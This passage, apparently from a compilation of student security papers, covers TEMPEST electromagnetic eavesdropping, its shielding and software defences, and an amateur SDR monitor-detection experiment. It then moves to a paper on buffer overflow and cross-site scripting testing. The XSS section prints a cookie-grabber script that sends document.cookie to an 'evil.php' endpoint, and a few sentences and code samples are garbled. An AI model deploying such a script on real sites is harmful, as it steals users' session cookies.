keyboard cables and printers. Depending of the source-type, 

different methods can be used to reconstruct and read the data. 

If the specific clock rate is known, periodic averaging can help to 

separate targeted signal from other signals and noise. The 

presence of synchronous signals, such as those from a digital 

clock, makes eavesdropping easier as attackers will be able to 

reconstruct data from captured signals easily based on the pattern 

of these signals. Synchronised analogue patterns emanated from 

devices also makes it easier for attackers find patterns of signals 

that originate from computers when they are conducting a broad 

scan across a spectrum. [9] 

There exist specialized equipment that maintain databases 

containing the EM emanation signatures of known devices [1]. 

This allows for the equipment to identify the source of an EM 

signal, based on its form – a useful knowledge if one wants to 

process data captured from it. 

4.3.2 Improving the Signal 
When a possible trace is found, the receiver can be tuned into the 

particular frequency and limits the bandwidth. This will allow for 

the signal to be demodulated in amplitude or frequency. For 

monitoring the frequency range of interest, tools such as a 

frequency selective receiver a spectrum analyser can be used [19]. 

The choice of antenna will affect the strength of signals obtained 

from different frequency bands as well as the waveform of a pulse 

provided to the receiver [9]. This will have implications when 

performing demodulation of signals afterwards. 

After an antenna is used to receive EM signals, it is possible to 

connect its output to an analogue-to-digital converter (ADC) to be 

processed in a digital form [9]. Once this is done, the signal can 

be sampled and processed digitally. 

If a cleaner signal is required, filters may have to be used to filter 

off background noise in order to improve the signal-to-noise ratio 

(SNR). Otherwise, EM radiation emitted by other electrical 

devices may interfere with the signal and corrupt the data 

transmitted. Most of the noise is generated in the low frequency 

regions [10]. This also means that useful EM emanations from the 

lower frequencies are harder to retrieve. However, this problem 

can be slightly countered if the exact frequency, f is known. This 

will mean that readings can be also taken from frequency values 

of its harmonics, which are multiples of f, for example Nf, where 

N is a positive integer. 
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4.4 Processing Captured Emanations 
By the principle of reciprocity, the wave pattern transmitted by the 

antenna can be captured and reconstructed by another antenna 

acting as a receiver. This is the principle behind TEMPEST 

eavesdropping which allow data to be obtained from a distance in 

the first place. 

The approaches taken to reconstruct the captured EM emanations 

can be done in two ways. The first is to conduct a detailed study 

of the source and its components in order to understand how data 

bits are encoded and transmitted within the device. This will 

require specialised knowledge of how bits are represented as 

signals and how these bits are how these bits are converted into 

carrier signals. With this knowledge, captured signals can be 

demodulated and interpreted. The second method will be to 

deduce the contents of data signals by analysing a pool of samples 

of EM waves that have been captured. By studying patterns from 

these samples, it is possible to deduce the information that created 

those particular signatures. Averaging the correlation values of 

millions of samples can allow traces of processed information to 

be identified [8, 9, 11]. 

4.4.1 Demodulating Emanations  
Traditionally, demodulation of EM waves is be done by 

specialised hardware designed for such purposes, for example, 

using digital signal processors (DSPs). For a more generic 

modulation of waveforms, manual oscillators or oscilloscopes are 

able to serve the same purpose. Recently however, there has been 

a growing usage of technologies such as software defined radio 

(SDR). The SDR works by using software to perform functions 

which were previously done by hardware in radio. With an SDR, 

it is easily for demodulation of the signal to be done right after 

frequency conversion using software [2]. Such methods are 

starting to become the common standard due to its availability, 

usefulness and low cost. However, existing hardware designed to 

perform these calculations are still able to provide more accurate 

and quicker results, albeit without as much flexibility as an SDR. 

4.4.2 Looking at Past Experiments 
Many TEMPEST experiments have targeted various types of 

hardware. The different sources of emanations determine the 

methods used to reconstruct its information.  

Video Display Units (VDUs). A classic example commonly cited 

in literature is the experiment performed by a Dutch computer 

researcher van Eck, where he first demonstrated how he used 

equipment generally available in the market, a variable oscillator 

and a TV broadcast receiver, to reconstruct contents from a CRT 

display from a distance of up to 1 km away [20]. More recent 

papers documenting modern examples of similar attacks on LCD 

screens and laptop monitors by Kuhn can also be found. The 

approach taken in all of these cases were similar. All of them used 

broadband receivers to capture emanations, then “modulated” 

these signals by manually adjusting the horizontal and vertical 

sync frequencies using sync pulse generators on modified TV sets 

displaying the captured signals in order to view the display [9, 10, 

11, 12, and 20]. 

Keyboards. A commonly cited motivation for eavesdropping on 

keyboards is to do it for password retrieval. In a paper by 

Vuagnoux and Pasini, they tested out 4 different methods to 

eavesdrop on various kinds of keyboards. Most information can 

be obtained when keyboards sends data to the computer when a 

key is pressed. With knowledge of the PS/2 communication 

protocol the keyboard used to send data to the computer, they 

were able to generate a table of keys to their corresponding trace 

after observing the falling and rising edges of the emanations they 

had captured while typing [19].  

Laser Printers. Due to the nature of the components within a laser 

printer, these printers are able to emit high amounts of EM 

emanations. Once the waveform of EM emanations from a 

keyboard is discovered, it becomes relatively easy to retrieve 

subsequent data that is being processed by the printer. In an 

experiment by Grzesiak and Przybysz, an estimate of the time and 

frequency characteristics of a signal of the laser diode in a printer 

was obtained using the speed and quality of a printer [7]. 

The few examples listed here are only based on what have been 

published openly to the public. We can see how these findings can 

be extrapolated to include other devices such as wireless routers 

or devices that use Bluetooth. These devices communicate over a 

higher frequency, and are believed to give off much higher 

amounts of EM radiation. Detection and filtering of these devices 

will be easier when using an antenna built for receiving higher 

frequency bands. However, we should note that signals 

transmitted over these channels are usually encrypted already 

before they are sent over these channels. The amount of 

information an attacker can obtain from these sources may be 

limited. 

In some cases, the strongest emanations need not be directly from 

the targeted source. Signals generated from other components can 

be useful in deciphering target signals as well. For example, 

during Kuhn's experiment on short-wave audio transmission, they 

found out that power lines appear to propagate more radio 

frequency energy than parasitic antennas in the PC. He also 

mentioned that while a PC multi-sync monitor can provide the 

display, a its graphics adaptor card provides the sync pulses, 

which is an information that attackers need to know when 

modulating the signals to make sense of its data. 

4.5 Types of Attacks 
There are two broad classifications for the nature of TEMPEST 

attacks: passive attacks and active attacks. TEMPEST attacks are 

classified based on the approach an attacker takes to exploit 

unintended EM emanations.  

4.5.1 Passive Attacks 
In passive attacks, attackers just use whatever EM emanations that 

are available at that time. No extra effort is put into amplifying or 

encoding information into signals that are to be broadcast [1]. It is 

normally carried out using the steps that have already been 

described above. Passive attacks are less invasive than active 

attacks, and conducted when the attacker does not have easy 

access to the targeted device, or lack the ability to carry out active 

attacks. These type of attacks are also very susceptible to 

treatment of the device by its user. For example, a user lowering 

or increasing a screen brightness can affect the nature of its EM 

emanations. The attacker will have to perform another spectrum 

scan again to search for the lost signals. 

4.5.2 Active Attacks 
Active attacks will involve directly tempering with the targeted 

device or its environment in order to make it easier to capture the 

emanations radiating from the device. Methods that have been 
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suggested are varied and unconventional. Some of them make use 

of a combination of hardware and software to prevent detection. 

A simple strategy will be to implant a software, such as a parasitic 

modulator or data-dependent resonator, into the hardware, such 

that it irradiates at the resonant frequency of the device such as 

the keyboard cable. This will enhance the EM emanations that are 

being retransmitted, making it easier for an attacker to capture and 

decipher them. One may also hide a receiver nearby so that the 

signals captured are stronger and less affected by noise from the 

environment. 

An alternative method that makes use of the same concept as 

techniques to locate radio microphones, is less intrusive. It 

irradiates the data signals from the device when a wave is aimed at 

it. Even though it was claimed that this method does not work on 

shielded devices, this attack was claimed to have been 

successfully carried out on U.S. TEMPEST certified equipment 

when a 10GHz microwave aimed at it was able to retrieve its data 

signals [9]. However, good precision is required to aim the wave 

at the device. 

Other forms of attack could use implant a software to irradiate the 

bits of the data in the form of tone patterns that the attacker is able 

to identify. The software can also specifically target password 

files of specific memory locations, or choose to send useful 

information to the attacker, such as the estimated clock rate of the 

device.  

However, due to the fact that these retransmitted signals are easily 

identifiable, attack devices can be discovered by conducting a 

periodic scan over protected areas as easily. Yet, additional the 

attacker can still evade such checks by generating these tone 

patterns pseudo randomly. The receiver can use the same 

pseudorandom sequence to recover the original signal. Another 

method to avoid detection will be to use spread-spectrum 

techniques [9]. What this does is to transmit a signal that has been 

“spread” a signal over a bandwidth that is larger than the original 

by several magnitudes. By doing so, signals are less resistant to 

noise and do not fade as easily. However, they are also harder to 

pick up and capture, thus, attackers will also need to have the 

right receiving equipment. 

5. TEMPEST PROTECTION 
In defending against TEMPEST capabilities, there are two 

difficulties. Firstly, our heavy reliance on digital devices to handle 

our daily tasks makes almost every gadget, or computer, an 

available target for anyone with the right tools to capture the 

electromagnetic waves it emits. Secondly, individual components 

of a computer such as your keyboards or monitors emit their own 

electromagnetic waves as well. Therefore, it is challenging and 

costly to provide complete protection from TEMPEST-enabled 

eavesdropping. 

5.1 Reducing Emanations with Hardware 
Due to health safety reasons, engineers have had developed 

methods to reduce EM radiation from devices. These concepts can 

also be applied to preventing leakage of compromising 

emanations, with stricter enforcement standards. 

5.1.1 Shielding 
 

5.1.1.1 How Shielding Works 
Shielding employs a Faraday's cage to prevent EM radiation from 

escaping or entering the region it encapsulates, in this case, the 

device that requires protection. A Faraday's cage is made up of a 

strong conducting material such as copper that is built around the 

device and grounded [5]. In most cases, a regular grounded 

Faraday's cage is able to block out a significant amount of EM 

noise. This it does by conducting any incident EM waves into the 

ground, which is assumed to have no charge. Further fine-tuning 

will have to be done to the design of the material depending on 

the frequency of the EM emissions. Checks must also be done to 

ensure holes within the material are significantly smaller than the 

wavelength of the radiation. 

5.1.1.2 Methods to Employ Shielding 
A Faraday's cage can be employed in various forms: to shield a 

room and all the devices within it, or to shield an entire device 

along with the components within it, such as its wires and micro-

components.  

A shielded area or room that is used to store and process sensitive 

compartmented information is sometimes referred to as a 

Sensitive, Compartmented Information Facility (SCIF) [3]. A 

Faraday's cage is usually built around the SCIF to filter or block 

EM emissions. When designing the SCIF, other considerations 

have such as the distance between and orientation of equipment in 

the room have to be taken into account. “Leakage regions” such as 

air vents and doors may also require specialised designs [5].  

5.1.1.3 Problems with Shielding 
Although the idea of a Faraday's cage may is usually straight-

forward in consumable products, its implementation becomes 

much more complex and expensive when it comes to protection of 

information security as any form of EM leakage cannot be 

tolerated. There are many reasons why it is difficult to obtain a 

TEMPEST certification. Firstly, due to the strict standards 

required of TEMPEST-certified products, the large amount 

resources spent on shielding the device may end up insufficient if 

a single vulnerability point is discovered. When this happens, the 

entire hardware has to be replaced and placed through another 

round of testing to be certified again. Even when no leak was 

discovered and broken parts have to be replaced, the entire device 

is still required to undergo TEMPEST testing again. This is even 

if the replacement part is of the same model and manufactured the 

same way [5]. Secondly, it may be necessary for each component 

to have customised shields such that they can be fitted together 

without minimal interference within the hardware. This will again, 

add on to the cost. Thirdly, shields are sometimes not grounded 

properly. This will form ground loops, which For these reasons, 

estimates for TEMPEST certified devices is calculated to be 80% 

times more expensive than those without certification [5]. 

Moreoever, protecting a device against TEMPEST attacks 

requires more than an encapsulating shield that muffles its overall 

noise. This is because, wires or other external components 

connected to the device still have the potential to compromise the 

entire device as they provide channels for stray EM emanations to 

leak. Moreover, internal components were carefully designed and 

selected. Considerations such as requirements for ventilation, add 

to the complexity of their design and may also limit the specs of 

the device [5]. If the product was meant to be portable and 

transported out of secure areas, the complexity is further 

compounded.   
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5.1.2 Twisted-Pair Cabling 
Twisted-Pair cabling was initially designed to cancel out EM 

interference from external sources. This is done by twisting wires 

carrying equal and opposite signals. When noise signals are 

introduced into wires, it introduces a common mode rejection 

signal that can be calculated and cancelled out at the receiver. 

However, this method is useful here as it also reduces coupling 

from electric or magnetic fields [6]. When current in the wires 

flow in opposite directions, electric or magnetic fields that are 

induced will flow in opposite directions and cancel each other out. 

This will greatly reduce emanations given out by the cables.  

However, these cables do not guarantee full are required for 

TEMPEST certification. Smulders have demonstrated that is is 

possible to eavesdrop on shielded RS-232 cables from a distance 

[16]. Such strategies will have to be supplemented with other 

methods to protect a device. Care must also be taken to handle 

twisted-cables properly. If too much tension is applied on it, 

twists may become loose, decreasing its effectiveness. 

5.1.3 Noise Generation 
Adding noise is able to increase the difficulty of eavesdropping on 

emanated signals. The purpose of such noise is to make it difficult 

for the attacker to discover or recover the original signals 

emanated by the device being targeted. It is important that the 

noise created must have sufficient complexity, such that it cannot 

be easily filtered out. Noise with uniform properties such as 

amplitude or frequency can be easily subtracted from a spectrum 

[9]. Therefore, noise applied must contain a mixture of amplitudes 

and frequencies to mimic electromagnetic interference from a 

multiple of devices. It is also important to consider that the noise 

created do not cause electromagnetic interference that is so strong 

that it affects the operation of other devices within the area, and 

yet able to mask the already strong EM emanations from the 

devices that are being protected. 

5.2 Reducing Emanations with Software 
It is costly to design and engineer hardware which are safe from 

TEMPEST eavesdropping attacks due to the amount of materials 

and testing it requires [5]. Over the years, researchers have looked 

for alternative methods that use software to change the way 

signals are generated such that what an attacker may see is 

different from what the user sees. These methods make it even 

harder and in some cases, almost impossible for attackers to carry 

out a TEMPEST eavesdropping attack. 

5.2.1 Using Asynchronous Signals 
Periodic signals employed and emitted by most computational 

devices and their components make it easier for attackers to 

conduct TEMPEST eavesdropping. Not only do these signals help 

attackers to identify plausible compromising signals from a sea of 

noise, it also helps them to easily separate targeted data signals 

from noise by periodic averaging [9]. 

A suggestion by Markus G. Kuhn involves possible software and 

firmware changes. The idea was to apply modifications to 

randomise these periodic signals, such that attackers are unable to 

retrieve sensitive data through periodic averaging. Attackers are 

also unable to decipher the signals through pattern observation in 

this case since signal impulses are randomnised [9]. 

5.2.2 TEMPEST Fonts (Soft TEMPEST) 
TEMPEST fonts were initially proposed by and subsequently 

patented by Kuhn. It makes use of the observation that signals 

picked up by attacks on VDUs usually come from high frequency 

components of the original signal [9]. By applying a low-pas filter 

onto the text before they are displayed on the screen, it becomes 

harder for attackers to detect and capture their signals.  

When testing out his prove of concept, Kuhn observed that after 

applying a low-pas filter, the text that was previously captured 

using TEMPEST eavesdropping techniques became unobservable, 

even when the antenna was placed right next to the monitor under 

attacked. Surprisingly, this modification does not compromise the 

video quality on the user's end [9]. Kuhn also noted that in order 

for this to work, texts are required to be represented in greyscale. 

This option to rasterise fonts into this format is already available 

in most computers for users to save the vector description of a 

font in the form of a raster or bitmap description which does 

converts it to greyscale using anti-aliasing techniques [9]. 

TEMPEST fonts provides a cost-effective measure to protect 

VDUs against a TEMPEST attack. Besides its cost benefits, it 

also removes the need to rely on TEMPEST hardware when they 

are not available. However, there may be limits to the extent of 

the effectiveness TEMPEST fonts. Attackers may choose to use 

the many other alternative channels of attack to retrieve the 

information they need. Also, if a more sensitive antenna or a more 

intelligent filter algorithm is developed, this preventive measure 

can be overcome. For now, the actual effectiveness of this strategy 

has not been openly evaluated. 

5.3 Red/Black Separation 
Part of TEMPEST certification also requires RED/BLACK 

separation, even within areas that have already been shielded. 

This involves separating circuits or equipment that handles 

classified plaintext information (RED) from those handling 

encrypted information (BLACK), based on a set of requirements 

or standards. This includes maintaining a distance and/or 

shielding between RED and BLACK equipment [17]. 

In some cases, emission characteristics of RED systems and 

equipment are categorised according to strength and nature of 

their emanations [17]. Similar to the idea behind zoning, systems 

which give out high energy signals are more susceptible to 

interception, and thus have to be protected under stricter 

standards.  

6. AMATEUR TEMPEST SET-UP 
In this section, we explore how we can create a TEMPEST set-up 

by using equipment that are commonly available on the market. 

The main purpose of this experiment was to discover the problems 

or ease of eavesdropping on EM emanations. It also provides 

opportunity to discover how susceptible a regular non-TEMPEST 

certified devices is to a TEMPEST attack that was carried out 

using commercial off-the-shelf equipment. 

For this experiment, the aim was to see if we are able to detect 

from a distance whenever a person powers on or off a 23” 

Samsung SyncMaster 2333sw monitor. 
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6.1 Tools Used 

6.1.1 Antenna and Tuner 
For this experiment, a DAB Radio Tuner Receiver Stick antenna 

along with a DVB-T demodulator, RTL2832U, was borrowed 

from Prof Hugh Anderson to capture and demodulate EM 

emanations from the targeted monitor. The original purpose of 

these devices was to enable users tune into TV and radio stations 

from their computers [21]. It is able to listen to a frequency range 

between 48kHz to 2200kHz. By looking at the inner components 

of the DVB-T demodulator (see Figure 1), we can see that it is 

comprised of the necessary hardware. 

 

Figure 1. Components of a RTL2832U DVB-T demodulator. 

[13] 

6.1.2 Software Defined Radio 
Gqrx is a Software Defined Radio (SDR) that was developed by 

Alexandru Csete for Linux and Macintosh. Gqrx was built using 

GNU radio and currently can be used as an AM, FM and SSB 

receiver.  On top of that, it also comes with RTL-SDR support 

[14]. 

The software itself features a straightforward Qt GUI. For users, 

there is timely support provided by the developer himself. Despite 

its usability, installation of Gqrx can become complex process, 

especially if a user lacks the required libraries and packages. 

The version of Gqrx was used v2.1, which was introduced into 

Kali Linux since version 1.0.5. Kali also provides additional 

useful SDR tools, such as RTLSDR Scanner for sampling and 

analysing signals [8]. 

6.2 Set-up 
The experiment set-up comprises of a receiver, a demodulator, 

and an SDR installed on a computer. This computer was installed 

with RTLSDR Scanner to process and record the signals picked 

up by the receiver. A sketch of this set-up is represented in Figure 

2. 

 

Figure 2. Sketch of experimental set-up. 

6.3 Experiment Process 
In order to see if any signals can actually be detected, the receiver 

was initially placed near the monitor so that any signals can be 

observed easily.  

At the start of this experiment, past experiments have recorded 

that the strongest EM signals picked up from an LCD screen lie 

between 320MHz to 375Mz [10, 12]. After setting up the 

receiver, frequencies around this ranged was scanned to look for 

plausible signal patterns that could have been generated by the 

monitor. 

Once a signal is detected, it was verified by turning off the 

monitor to see if the signals were indeed directly caused by 

emanations from the monitor screen. After this, the antenna is 

shifted further away from the monitor to determine the furthest 

range where this can be observed. 

6.4 Results and Observations 

6.4.1 Readings Obtained 
The pattern caused by the EM emanations from the computer can 

be observed between when Gqrx is set to use FM demodulation 

and tuned between (402kHz and 422kHz). This pattern can be 

observed from when the antenna is shifted about 4m away from 

the monitor. 

At around 410kHz, a plausible pattern consisting of multiple 

spikes can be observed between the range of 402kHz and 422kHz. 

The squelch and gain were adjusted from Gqrx to get a clearer 

reading. Afterwards, the monitor turned off to verify that the 

pattern is indeed caused by emanations from the monitor screen. 

At around 410kHz, a plausible pattern consisting of multiple 

spikes can be observed between the range of 402kHz and 422kHz. 

The squelch and gain were adjusted to get a clearer reading. 

Photos comparing the spectrum obtained when the monitor was 

turned on and off can be found in Figures 5 and 6 in Appendix B. 

Screenshots comparing between the graphs obtained when the 

monitor is off can be found Figures 3 and 4 in Appendix A.  

6.4.2 Signal Strength 
During the experiment, it was observed that the signals are very 

unstable. For example, the signal pattern of the monitor's 

emanation will disappear if the receiver is shifted into certain 

positions, or placed too far away. The same thing is also observed 

whenever a person walks between the receiver and the monitor. 

From the samples of the signal (Figures 3 and 4 in Appendix A), 

it is also noticeable that the background noise has distorted a 

significant amount of the signal, making it difficult to retrieve the 

original waveform from the monitor's EM emanations. 

6.5 Limitations 
We note that actual TEMPEST attacks are usually carried out with 

much more sophisticated and costly equipment, which have a 

wider bandwidth and are more sensitive. With the basic 

equipment we had, the amount of information we can derive from 

the captured signals, as well as the range of frequencies which are 

available were very limited. 

However, it will not be difficult for an amateur attacker to 

overcome these limitations. For example, the attacker could 

upgrade his or her equipment such as using a better antenna, or 

employ algorithms such as the Kalman filter for filtering the 

signals received to obtain a cleaner signal. These modifications do 
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not have to achieve current standards, which were also required to 

by-pass existing TEMPEST protection measures. Therefore, the 

cost will be lower than TEMPEST equipment sold in the market. 

The effectiveness of such kind of modifications can be tested out 

in a separate experiment. 

6.6 Conclusions 
From this small experiment, we can see that it is possible to obtain 

information through EM emanations with the help of off-the-shelf 

equipment. Moreover, the use of an SDR has significantly helped 

to simplify most of the processes which previously required 

dedicated hardware to perform. However, this experiment only 

covers the detection of EM emanations. Future experiments can 

continue explore the limits and capabilities of a new set of 

modified equipment. 

7. FUTURE TRENDS 

7.1 Protection and Defence 
Even though TEMPEST was previously thought of as a 

technology that is only available to governmental or military 

organisations which can afford the technology [15], there is a 

renewed interest in this area due to the increased availability of 

technology, such as SDRs, that can help a low-budget attackers 

implement attacks [9]. Due to the ease of carrying them out, these 

attacks may become more mainstream and need not be only 

limited to military or governmental in the future. If these attacks 

turn malicious, banks and corporations may be required to 

implement TEMPEST protection measures sometime in the 

future. 

The greatest challenge is of course to justify the cost of 

TEMPEST prevention tools against the risk of being attacked. It 

has been both problematic and challenging to find out how 

capable are today's amateur attackers of planning and executing 

successful TEMPEST attacks that can cause significant damage to 

an organisation. We can only hope that new innovations such as 

soft TEMPEST can be developed and employed, such 

vulnerabilities that were opened up by EM leaks can be patched. 

7.2 Possible New Developments 
Besides conducting side-channel eavesdropping attacks with 

TEMPEST, there have been suggestions to use TEMPEST to 

conduct injection into network channels through EM induction. 

This is sometimes referred to as “Reverse TEMPEST”. Even 

though one may see the possibilities in this, it requires an attacker 

to be very precise in inserting a crafted sequence of bits at 

different points in time, such that information at the receiver end 

is malicious. It may also require the attacker to be very close to 

the transmission cable such that a strong enough impulse can be 

applied to corrupt the file. Similar to TEMPEST, this way of 

doing attacks is worrying due to their non-invasive nature, making 

them difficult to detect. 

8. CONCLUDING REMARKS 
TEMPEST has provided an alternative side-channel for 

transmitting and capturing data signals, which were otherwise 

assumed to be sufficiently protected. Due to the ability of EM 

waves to propagate through physical mediums and preserve the 

form of its signal, other defensive measures such as encryption or 

policies to set-up restricted areas becomes meaningless. 
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APPENDIX 

A. Screenshots Showing Signals Captured with RTLSDR Scanner 

 

 

Figure 3. Trace obtained with a frequency scan between 404-422MHz with monitor turned off. 

 

    

Figure 4. Trace obtained with a frequency scan between 404-422MHz with monitor turned on. 
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B. Photos Comparing Signal Patterns 

 

 

Figure 5. Signal pattern captured when screen is turned off. 

 

 

Figure 6. Signal pattern captured when screen is turned on. 
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ABSTRACT 

Vulnerabilities in application/programs are common and 

successful attacks these days, especially with the rise in amount of 

programs across mobile, console and PC. Having a framework to 

test applications for such vulnerabilities are therefore imperative. 

In this paper, we will look at the 4 most common vulnerabilities, 

namely: Buffer overflow, SQL injection, Cross site scripting and 

Format string bug. As well as ways to exploit them and ways to 

prevent them in which testing can be done to detect there 

vulnerabilities, from programming method to server protection 

methods. 

Keywords 

Software Application Security, Software Application 

Vulnerabilities, Buffer Overflow, Cross site Scripting, SQL 

injection. 

1. INTRODUCTION 
Software applications today are consistently under the threat of 

being hacked, it is a by-effect of our hyper developed Internet 

system. Given the widespread usage of Internet, a successful hack 

in today’s world can release millions of confidential information 

which could disrupt businesses and even to the extent of the 

stability of a society. It is a mounting challenge for software 

designers to ensure that their designs have safety precautions to 

guard against the malicious minds. 

In the following sections, we will address 4 most common 

vulnerabilities observed, in order, they are Buffer Overflow, Cross 

Site Scripting, SQL Injection and lastly Format String bug. The 

potential exploits that we have mentioned are a mix of 

vulnerabilities existing on web-based software and also 

application-based software. 

We will document on the existing testing methods in detail with 

the main types of testing being Black box Testing, Gray Box 

Testing and White box Testing.    

    

Black Box Testing assumes no knowledge of the internal 

functions of the software and testing is mainly use but not limited 

to testing valid functional outputs given both valid and invalid 

inputs.             

White Box Testing are intensive tests that require deeper 

understanding of the functions in the software. It is mainly 

focused on lower level subsystems e.g. execution paths and 

control paths. 

We will also cite examples of Gray Box Testing, which is in 

essence a combination of Black Box and White Box Testing 

methods. Purpose in Gray Box Testing is to search for effects due 

to improper structure or usage of the applications.  

Lastly, we will also mention some preventive measures that are 

important to take note in order to safeguard applications from 

being exploited by hackers.  

 

2. BUFFER OVERFLOW 

2.1 Vulnerabilities/Exploits 
Buffer overflow is a kind of attack where a program violates the 

memory’s integrity by writing data that overruns the buffer’s 

boundary and crosses into adjacent memory. [1] Buffer overflows 

most commonly occurs during writing and copying of data 

without first checking if that data size actually fits the bounds of 

the targeted destination. A simple example: 

char[] bound = new char[4]; 
short test = 1111; 

Var bound test 

value 00 00 00 00 11 11 

 

But if we declare: 

strcpy(bound, "hello"); 

Var bound test 

value h e l l o 11 

*Hex value of o will overwrite test 

Buffer overflow is a very common kind of attack and can be 

deadly in some cases. In 2000, a vulnerability to buffer overflow 

was discovered in Microsoft Outlook and Outlook express. [2] 

This exploit does not even require user to download any 

attachment of open the E-mail as the vulnerability resides in the 

header of the E-mail itself. This makes it very hard for anyone, 

even experienced users, to defend against this attack. 

In our context of applications, be it web based or application 

based, buffer overflows attack are usually used to corrupt the 

stack of such applications. By sending out carefully crafted input, 

an attack can cause the web server to execute arbitrary code, 

effectively taking out the machine. [3] The range of affected items 

are huge for buffer overflow, be it a web based server or an 
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application based server, the language it was coded in does not 

matter and neither does it care about the operating systems that it 

is running on. As long as vulnerability exists in any of the 

mentioned items, a buffer overflow attack can be executed and the 

severity of this attack can be very potent.  

Another variation of the buffer overflow is the heap overflow 

attack; a heap overflow is essentially a buffer overflow attack 

which occurs in the heap of a program. The heap is a free-floating 

form of memory that is not managed automatically for us and is 

also not tightly managed by the CPU. [4] In C, we use Malloc() to 

allocate memory to the heap and free() to free up these memories. 

Data that exists on these heaps are usually related to the 

application itself and corrupting these data can cause the 

application to overwrite important program structures such as 

link-list pointer or other variables. [5] As such, they exploits 

application in a manner that is different from stack overflows. 

2.2 Testing for detection 

2.2.1 Black Box Testing 
Black box testing is a method of software testing that does not 

requires the tester to know the internal structure of the 

application. [6] To employ this method for stack overflow testing, 

we usually supply input of any kind with very large possibly 

overflowing inputs. These inputs can be from obvious textboxes 

to the otherwise hidden kind. Such as the file name from a dialog 

box as shown: 

 

Fig B1. Dialog box filename overflow 

The principle of black box testing is similar for heap overflow 

remains the same as stack overflow, which is to supply input 

strings that are longer than expected. [7]  

 

2.2.2 Gray Box Testing 
Gray box testing can be employed for testing of stack overflows 

attack also. A code reviewer does not need to know the full 

internal workings of a set of code but rather search for various 

unsafe functions such as [8]: 

 Gets() 

 Strcpy() 

 Strcat(), etc 

Especially in situations where these are used without prior 

validation of the length of the input and are just blindly copied 

into a fixed size buffer. Take for example the following code: 

char[] buf = new char[8]; 
strcat(buf, ”This is a string”); 

It does not matter what the rest of the code does as this section 

itself is enough to cause a buffer overflow, especially more so if it 

was a user input instead of a hardcoded string. Similarly, all 

inputs from any kind of form or dialog should also be scrutinized 

to make sure that they do not cause any problem. 

In the context of heap overflows, gray box testing is much more 

vague but still nonetheless important. There are many variants of 

code that could cause a heap overflow but we will cover only the 

more prominent one, malloc().  Take this seemingly harmless 

code for example: 

string = cli_malloc(length + 1); 
It seems harmless enough but considers the fact that an attack was 

made and length was changed to -1 instead of its original value. 

This would in turn results in a memory allocation of a very small 

size, 16bytes in most platforms and could then be used easily for a 

heap overflow attack. 

 

2.2.2.1 Address space layout randomization 

Address space layout randomization (ASLR) is a technique to 

protect against buffer overflow attacks by randomizing the key 

areas of a program, such as the heap, stack and libraries. [9] 

ASLR is based upon the low chance that an attacker could 

correctly predict the targeted address that he wishes to invade. 

ASLR also becomes more effective with a larger virtual memory 

space as it allows for more randomizing of the layouts. 

Sometimes, memories may also be split to make attacks even 

harder, i.e. a stack may not be a continuous stream of address 

spaces but split into several smaller sections. ASLR is presented 

in most operating systems such as Windows 7, IOS, OSX, and 

Android to name a few. 

 

2.2.3 Buffer Overflow Protection 
Sometimes, prevention is better than cure and rather than doing 

tests to detect for buffer overflow, it might be better to protect 

against it during time of development. Many of these 

responsibilities boils down to the programmer that is developing 

the application to make them as safe as possible. 

 

2.2.3.1 Bound Checking 

Similar to gray box testing mentioned previously, it is to check the 

bounds of a given input before allocating it into any memory 

space. This can be used by the programmer using simple if-else 

check but there are some compilers who will provide these sorts 

of check as well. 

 

2.2.3.2 Canaries 

Canaries are a set of data that are often placed between a buffer 

and control data on a stack to detect buffer overflows. [10] In the 

event of a buffer overflow, these canary data are usually the first 

to be corrupted and an alert can be triggered in the case of this 

which can then prompt for the overflow to be handled. Currently, 

there are 3 kinds of canaries that are in used: 

1. Terminator Canaries 

 Values = 0, CR, LF or -1 
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 Effective because string inputs will end at these values 

thus and further values will be ignored. 

 In-effective because values are known to attackers so 

they can be filled up by the attackers instead. [11] 

2. Random Canaries 

 Values: Randomly generated, known only to program 

 Effective because it is nearly impossible for attackers to 

know the value of this canary. 

 In-effective for a program which resides in the 

attacker’s computer as it’s stack could be viewed. [12] 

3. XOR Random Canaries 

 Values: Randomly generated with algorithm that is 

based on certain values of the control part of the stack 

 Effective as it is the hardest canary to break, requires 

attacker to have knowledge of the original canary, 

algorithm and value that are used from the control part. 

 As with other canary types, only protects the control 

data but not any other data or pointers. 

 

2.2.3.3 Strong Programming Language 

A strong programming language has a few factors to be 

considered and they are: 

 The language itself 

 Its libraries 

 How the programmer uses it 

Before using any language, it is best to know of the security flaws 

that it already contains and this should apply to everything, not 

just buffer overflow. For security reasons also, it might be wise to 

choose a language with a long history so that its security flaws are 

well known and documented. 

The language most susceptible to buffer overflow attacks of any 

kind is C and C++. Mainly because it is such a low level language 

that many of the more advanced checks does not exists and 

because of its direct memory control. However, many other higher 

programming languages such as C# are based of C and C++ and 

could potentially contain the security flaws that were in them in 

the first place. [13] It is always wise to learn in depth of what you 

are using before actually using them to overcome any potentially 

flaws it might have. 

3. CROSS SITE SCRIPTING (XSS) 

3.1 Vulnerabilities/Exploits 
There are 3 types of XSS: [14] 

1. (Document Object Model)DOM-Based XSS 

2. Persistent XSS 

3. Non-Persistent XSS 

The primary exploit for XSS attacks the developers’ assumption 

that users will not perform any malicious activities on their 

websites, therefore they do not perform any form of checks to 

filter user inputs. Another reason is due to the wide varieties of 

attacks available, it is difficult to filter out the attacks easily. 

XSS can use injected scripts to access any cookies, session 

tokens, or other sensitive information retained by the victim’s 

browser and that are used on that particular site. A simple cookie 

grabber can be as the following code:  

<SCRIPT type="text/javascript">  

var adr = '../evil.php?cakemonster=' +escape(document.cookie); 

 </SCRIPT>Table 1 Comparison between DOM XSS and 

Reflected/Stored XSS [15] 

Attack 

Characteristic 

Reflected/Stored 

XSS 
DOM XSS 

Root cause Source code Source code 

Premises Inappropriate 
embedding of client 
side data in outbound 
HTML pages (by the 
server) 

Inappropriate 
referencing and use in 
the client-side code, of 
DOM objects which are 
not entirely controlled 
and verified by the 
server-generated 
HTML pages 

Page type Dynamic Static or Dynamic 

Detection Intrusion detection 
systems, logs 

Cannot be detected 
server side, if proper 
evading techniques are 
being used by the 
attacker. 

Detection of 
vulnerabilities 

Attack simulation; 
Code review – server-
side; 
Vulnerability detection 
tools that perform 
automatic penetration 
testing 

Attack simulation; 
Code review – client-
side; 
Vulnerability detection 
tools that perform 
automatic penetration 
testing 

Defending Sanitization – server 
side 
Intrusion prevention 
systems 

Sanitization – client-
side 
Intrusion prevention 
systems –to a lesser 
extent 

 

3.1.1 DOM-Based XSS 
DOM-Based XSS, also known as Type-0 XSS. DOM-Based XSS 

